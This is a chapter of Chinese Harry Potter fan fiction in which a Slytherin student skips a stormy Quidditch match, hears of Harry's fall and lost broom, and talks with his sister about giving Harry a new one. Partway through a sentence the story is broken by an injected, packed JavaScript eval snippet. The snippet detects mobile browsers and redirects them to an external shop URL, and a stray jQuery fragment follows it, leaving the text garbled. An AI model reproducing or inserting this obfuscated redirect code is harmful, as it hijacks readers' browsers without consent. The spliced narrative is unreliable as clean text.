小天狼星袭击格兰芬多塔楼的事儿让城堡的安保变得更加严峻。

    然后,十一月到了。

    糟糕的天气似乎并不打算按下暂停键,在一场又一场的倾盆大雨里,霍格沃茨迎来了本学年第一场魁地奇比赛。

    按照传统,每年的第一场比赛都应该是整个赛季最受关注的——不论对阵双方是谁,那天的看台总会被期待和喧闹填满。

    但尼克在早餐时间路过窗户时,就改了主意。

    窗外,天空被压成了很不好看的铅灰色。厚重的云层层层叠叠地压在一起,边缘模糊。雨水从那些云层底部倾泻下来,打在湖面上,溅起层层细密的白沫。

    风实在是太大了。

    尼克能看到远处禁林的树梢被压成了一个方向,偶尔弹回来,又被重新压下去。一些动物在城堡外围奔跑,似乎是在寻找一个可靠的避难所。

    “我不去。”他宣布道,然后走到餐桌边坐好。

    科林正在往围巾上系一根绿油油的缎带。那是他妈妈前两天寄来的,据说“戴上会有好运”。

    听到尼克的话,他圆滚滚的手指在半空中停住了:“不、不去了?尼克,这可是第一场比赛啊!”

    “天气太糟了。”尼克把牛奶倒出来,“而且,这又不是斯莱特林的比赛——格兰芬多对赫奇帕奇而已。更何况,你不害怕那个‘凶兆’了?”

    坐在旁边的、对神奇动物的热情要明显高过占卜课的蒙塔古听了,也闷声笑起来。

    科林张了张嘴,像是想说什么反驳的话。

    但他也看了看窗外——那阵风正把雨点吹成几乎是水平的角度,砸在窗玻璃上,发出密集的响。

    他的脸上流露出明显的天人交战,简直要被纠结坏了,“……你说得对,尼克。”他勉强地开口,“但是——但是赫奇帕奇的追球手今年换了新扫帚!还有塞德里克,我听说他——”

    “科林,”塞西莉亚嚼完半块馅饼,“如果你真的那么想看别人骑新扫帚,你可以自己去看。没人拦着你。”

    科林的胖脸在短时间的犹豫之后,像是做了一个重大的决定:“我是斯莱特林,我去帮大家——侦察敌情!”

    于是,早餐结束后,尼克、塞西莉亚与科林在大厅分道扬镳。

    在科林临出门前,尼克看了他一眼:“别感冒了。”

    “不会的!”科林已经整个人裹进了厚斗篷里,举着一把极有气势的黑伞顶着风摇摇晃晃地出去了。

    整个斯莱特林公共休息室的气氛带着一股浓浓的遗憾。

    几个低年级生始终挤在窗边往外张望,看着那片雨幕发出一声短促的、像是认命般的叹息,然后各自回到了自己原来的位置上。

    壁炉附近的几张扶手椅已经被占满了,有人在看书,有人在下巫师棋,有人靠在椅背上闭着眼睛打盹。

    事实上,这场比赛本该是斯莱特林对格兰芬多的赛季揭幕战来着。

    不过,德拉科·马尔福的手臂在神奇生物课上“意外受伤”后,恢复得“相当缓慢”。他对外宣称伤势仍然需要进一步的休养,并不适合在暴风雨天气参加高强度的比赛。

    大约两个小时后,科林回来了。

    他穿过公共休息室入口的石墙时,整个人像是刚从黑湖里捞上来的——斗篷湿透了,深色的水渍从肩膀一直蔓延到下摆,围巾已经湿成了一块拧不干的厚布,绿色缎带湿哒哒地垂在胸前,下一秒就可以潜进黑湖里扮演水草。

    他的头发贴在额头上,鼻尖冻得通红,嘴唇微微发紫,但他在踏进公共休息室的第一秒开口说话时,声音里没有一点儿寒冷,只有一种急促而兴奋的慌乱。

    “尼克!你绝对不知道发生了什么!”

    尼克抬头。他合上书,看着科林正在把手套从冻僵的手指上一根一根往下拽,那些动作正因为手指不听使唤而变得又慢又笨。

    “摄魂怪,”科林说,他的声音在发抖——到底是冻的还是别的,尼克搞不太清楚,“摄魂怪冲到球场上来了!一大群!从禁林方向过来的!所有人都看到了!它们在球场上空盘旋,然后——然后哈利·波特——”

    科林停了下来。他吸了一口气,声音拔得更高了。

    “他从扫帚上掉下来了!大概——不,不,至少有五十英尺高!所有人都以为他会摔死!庞弗雷夫人说她从来没见过有人从那个高度摔下来还能活着的——但谢天谢地啊,邓布利多——”

    “他只是摔伤了?”塞西莉亚好奇地问。

    “没有!”科林说得更急促了,“从我的角度来看,他根本没摔到地上!邓布利多接住他了。但是摄魂怪真的害惨他了!还记得吗,马尔福因为波特在列车上被吓晕的事儿嘲笑了他那么久——但真没想到啊,居然会在比赛上吓昏过去——总之,波特看起来什么都不知道!他的扫帚也——”科林的胖脸皱起来。

    “他的扫帚怎么了?”尼克赶忙问。

    “没了。”科林说,“被风吹走了!我不知道去哪儿了,但它反正不见了。就一眨眼的功夫——红衣服摔下来,木棍子飞起来——”

    他打了个喷嚏,声音响亮得连远处正在下棋的两个高年级生都抬头看了过来。

    塞西莉亚从她的书页上方抬起眼:“去换衣服。”

    科林又打了一个喷嚏,然后拖着湿透的斗篷朝宿舍方向走去。

    尼克坐在扶手椅里,看着科林的背影消失在宿舍门口。

    光轮2000。那把扫帚是在波特一年级的时候由麦格教授特批的,当时全校都在谈论那个一年级新生直接获得了一把全英国最好的扫帚。他知道那把扫帚对哈利·波特的意义——它绝对不仅仅是一件载具那么简单。

    雨水还在窗外的玻璃上持续地敲打着。

    塞西莉亚啧啧地说:“他们今年够呛能赢了。除非邓布利多又偏心他们。”

    那天傍晚,丹妮尔来找了他。

    尼克在走廊拐角处见到了妹妹。丹妮尔的头发比早上整齐一些,可能是比赛时淋了雨,现在已经洗过澡了。但她的脸颊被走廊里的穿堂风吹得有些发红。她站在靠窗的位置,用脚尖踢着石子。

    “你听说哈利的事了?”丹妮尔上前几步迎接尼克。

    “科林回来时说过了。”尼克说,“波特的扫帚——没了?”

    丹妮尔特别用力地点

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709827|205993||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头。她看起来正替哈利感到痛心,但又说不清那种痛心该如何表达。

    “是的!他的扫帚——他的光轮2000——从天上掉下来,砸到了打人柳上。”丹妮尔痛心疾首地说,“被甩成渣了。”

    “啊?”尼克觉得有点儿不可置信。

    因为如果是这样的话,波特和打人柳的渊源就实在过深了。

    “我不骗你!”丹妮尔手舞足蹈,“我亲眼看到了。打人柳把它卷起来甩了好几下,木头碎片飞得满天都是。可怜的2000像被塞进了一台碎木机里,‘嘎嘣’一下就碎掉了。”

    “真可怜。”尼克干巴巴地说。

    “是啊!哈利特别心疼。那把扫帚是他进入魁地奇队以来就一直用的,你知道的,麦格教授亲自帮他买的。”她捶胸顿足,“但赛季才刚开始呢!他后面几场比赛——如果没有扫帚——他可能连训练都没办法参加。”

    尼克沉默了一拍,然后他若有所思地说:“或许我可以送他一把光轮2001?”

    丹妮尔的眉毛像是被人突然从下面戳了一下。她一副见了鬼的表情:“什——么——?你要送他——?”

    尼克舔舔嘴唇:“嗯。对。”

    丹妮尔狐疑极了:“又来?你霍格莫德的那次就够莫名其妙的了——说吧,狡诈的斯莱特林,你到底有何居心?”

    尼克的脸上爬满了莫名其妙:“你在说什么胡话?你分明知道的。就——大黑狗那次,他保护了我一下。我觉得我需要还这个人情。”

    至于相册的事儿,他不想在这个时候说出来。

    “你想得蛮好!”丹妮尔信了,但她嘲笑道,“我和赫敏都问过哈利了!他说,光轮2001是马尔福说‘好骑’的。他绝对不买马尔福觉得好的。我和金妮也是这么想的!”

    她明显正因哈利做出这个决定而感到由衷的踏实,“听听看——哈利多棒啊——”

    尼克不太吃惊。德拉科确实不太惹人喜欢。尤其不可能讨哈利·波特欢心。

    但自己妹妹对波特的吹捧真是有点……毛骨悚然。

    “行吧。”他不咸不淡地说,“那就不送了。正好他没有扫帚的话,就能让我们斯莱特林再赢一年了。替我祝他好好养伤。”

    丹妮尔听了这话,气得差点蹦起来:“听听吧!狡诈恶毒的斯莱特林!”

    尼克耸肩:“又不是我让他的扫帚飞跑的。”

    当然,丹妮尔也没有真的生气。她的语气平缓了些:“但是吧,我真怀疑啊。你刚刚是真的打算送他一把扫帚吗?不是随口开玩笑戏弄我?”

    “不,不。但计划被否决了。”尼克说,“所以,你可以当成某种戏弄。我没意见。”

    丹妮尔垮下个脸来:“好吧——反正——我会转告他的。”

    “不用说扫帚的事。”尼克强调。

    “其实吧——”丹妮尔挠挠下巴,明显又想到个招,“应该还有其他的扫帚选择吧?你要不要去挑挑看?当成圣诞礼物给他嘛——刚刚好!”

    “如果有空的话,我会去看看。”尼克说,“但是我很忙。不保证。”

    “知道了!”丹妮尔点点头。